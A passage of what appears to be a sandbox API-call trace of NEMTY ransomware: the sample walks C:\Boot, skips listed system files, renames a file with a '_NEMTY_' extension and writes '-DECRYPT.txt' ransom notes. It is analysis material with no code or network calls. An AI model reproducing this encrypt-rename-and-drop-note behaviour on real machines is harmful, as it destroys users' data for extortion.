nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.869] CloseHandle (hObject=0xffffffff) returned 0 [0045.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.869] MoveFileW (lpExistingFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.870] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef6cc70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcef6cc70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcef6cc70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.870] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.871] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef6cc70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcef6cc70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcef6cc70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.871] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.871] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0045.871] lstrcmpiW (lpString1="ru-RU", lpString2=".") returned 1 [0045.871] lstrcmpiW (lpString1="ru-RU", lpString2="..") returned 1 [0045.871] lstrcmpiW (lpString1="ru-RU", lpString2="...") returned 1 [0045.871] lstrcmpiW (lpString1="ru-RU", lpString2="windows") returned -1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="$RECYCLE.BIN") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="rsa") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="NTDETECT.COM") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="ntldr") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="MSDOS.SYS") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="IO.SYS") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="boot.ini") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="boot.ini") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="AUTOEXEC.BAT") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="ntuser.dat") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="desktop.ini") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="CONFIG.SYS") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="RECYCLER") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="BOOTSECT.BAK") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="bootmgr") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="programdata") returned 1 [0045.872] lstrcmpiW (lpString1="ru-RU", lpString2="appdata") returned 1 [0045.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ru-RU", lpUsedDefaultChar=0x0) returned 5 [0045.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ru-RU", lpUsedDefaultChar=0x0) returned 5 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.873] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ru-ru\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.873] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.873] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.874] CloseHandle (hObject=0x3c0) returned 1 [0045.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.875] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ru-ru\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.875] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.875] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.876] CloseHandle (hObject=0x3c0) returned 1 [0045.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.876] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf09d770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf09d770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.877] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.877] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf09d770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf09d770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.877] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.877] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.877] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.877] lstrcmpiW 